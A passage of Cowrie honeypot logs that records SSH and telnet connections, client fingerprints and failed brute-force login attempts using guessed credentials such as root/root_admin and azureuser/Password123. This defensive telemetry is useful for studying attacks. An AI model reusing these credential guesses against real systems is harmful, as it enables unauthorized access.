.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:20:48.531494Z","src_ip":"171.25.158.70","session":"71d88a790a34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root_admin","message":"login attempt [root/root_admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:20:49.013467Z","src_ip":"171.25.158.70","session":"71d88a790a34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:20:50.126674Z","src_ip":"171.25.158.70","session":"71d88a790a34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46422,"dst_ip":"159.203.135.109","dst_port":22,"session":"27ea31e9656b","protocol":"ssh","message":"New connection: 159.203.92.129:46422 (159.203.135.109:22) [session: 27ea31e9656b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:20:50.782880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:20:50.941023Z","src_ip":"159.203.92.129","session":"27ea31e9656b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:20:50.944342Z","src_ip":"159.203.92.129","session":"27ea31e9656b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"1234","password":"12342018","message":"login attempt [1234/12342018] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:20:51.929080Z","src_ip":"159.203.92.129","session":"27ea31e9656b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:20:53.238738Z","src_ip":"159.203.92.129","session":"27ea31e9656b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.142.193.6","src_port":40782,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd61c3f6d0ee","protocol":"telnet","message":"New connection: 45.142.193.6:40782 (159.203.135.109:23) [session: fd61c3f6d0ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:20:55.633888Z"}
{"eventid":"cowrie.session.closed","duration":12.084795236587524,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:21:07.718569Z","src_ip":"45.142.193.6","session":"fd61c3f6d0ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":58096,"dst_ip":"159.203.135.109","dst_port":22,"session":"aeefb214e0a3","protocol":"ssh","message":"New connection: 159.203.92.129:58096 (159.203.135.109:22) [session: aeefb214e0a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:21:17.229055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:21:17.537039Z","src_ip":"159.203.92.129","session":"aeefb214e0a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:21:17.540689Z","src_ip":"159.203.92.129","session":"aeefb214e0a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"1234","password":"12342019","message":"login attempt [1234/12342019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:21:18.648584Z","src_ip":"159.203.92.129","session":"aeefb214e0a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:21:19.885040Z","src_ip":"159.203.92.129","session":"aeefb214e0a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:21:32.387799Z","src_ip":"43.224.126.107","session":"35caf4f2fa47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34402,"dst_ip":"159.203.135.109","dst_port":22,"session":"2fca69ad37bb","protocol":"ssh","message":"New connection: 159.203.92.129:34402 (159.203.135.109:22) [session: 2fca69ad37bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:21:41.946195Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:21:42.262148Z","src_ip":"159.203.92.129","session":"2fca69ad37bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:21:42.265601Z","src_ip":"159.203.92.129","session":"2fca69ad37bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.25.158.70","src_port":48038,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ed7027ec89b","protocol":"ssh","message":"New connection: 171.25.158.70:48038 (10.17.0.5:22) [session: 7ed7027ec89b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:21:42.797468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:21:42.805442Z","src_ip":"171.25.158.70","session":"7ed7027ec89b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:21:42.914976Z","src_ip":"171.25.158.70","session":"7ed7027ec89b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"1234","password":"12342020","message":"login attempt [1234/12342020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:21:42.962970Z","src_ip":"159.203.92.129","session":"2fca69ad37bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"asd","message":"login attempt [administrator/asd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:21:43.417182Z","src_ip":"171.25.158.70","session":"7ed7027ec89b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:21:44.082256Z","src_ip":"159.203.92.129","session":"2fca69ad37bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:21:44.528621Z","src_ip":"171.25.158.70","session":"7ed7027ec89b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55116,"dst_ip":"159.203.135.109","dst_port":22,"session":"b44f13c38797","protocol":"ssh","message":"New connection: 159.203.92.129:55116 (159.203.135.109:22) [session: b44f13c38797]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:22:15.313725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:22:15.318404Z","src_ip":"159.203.92.129","session":"b44f13c38797","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:22:15.323219Z","src_ip":"159.203.92.129","session":"b44f13c38797","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"1234","password":"12342021","message":"login attempt [1234/12342021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:22:15.384642Z","src_ip":"159.203.92.129","session":"b44f13c38797","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:22:16.392068Z","src_ip":"159.203.92.129","session":"b44f13c38797","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.119.7.6","src_port":56410,"dst_ip":"10.17.0.5","dst_port":22,"session":"2bd52f70bf84","protocol":"ssh","message":"New connection: 27.119.7.6:56410 (10.17.0.5:22) [session: 2bd52f70bf84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:22:21.376979Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:22:21.381779Z","src_ip":"27.119.7.6","session":"2bd52f70bf84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:22:21.562191Z","src_ip":"27.119.7.6","session":"2bd52f70bf84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"Password123","message":"login attempt [azureuser/Password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:22:22.314457Z","src_ip":"27.119.7.6","session":"2bd52f70bf84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:22:23.498190Z","src_ip":"27.119.7.6","session":"2bd52f70bf84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.25.158.70","src_port":41828,"dst_ip":"10.17.0.5","dst_port":22,"session":"fbf0adec6a55","protocol":"ssh","message":"New connection: 171.25.158.70:41828 (10.17.0.5:22) [session: fbf0adec6a55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:22:36.694282Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:22:36.699113Z","src_ip":"171.25.158.70","session":"fbf0adec6a55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:22:36.804082Z","src_ip":"171.25.158.70","session":"fbf0adec6a55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin_2019","message":"login attempt [root/admin_2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:22:37.302002Z","src_ip":"171.25.158.70","session":"fbf0adec6a55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:22:38.413499Z","src_ip":"171.25.158.70","session":"fbf0adec6a55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52208,"dst_ip":"159.203.135.109","dst_port":22,"session":"d4ff65e92900","protocol":"ssh","message":"New connection: 159.203.92.129:52208 (159.203.135.109:22) [session: d4ff65e92900]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:22:51.096877Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:22:51.101415Z","src_ip":"159.203.92.129","session":"d4ff65e92900","protocol":"ssh"}
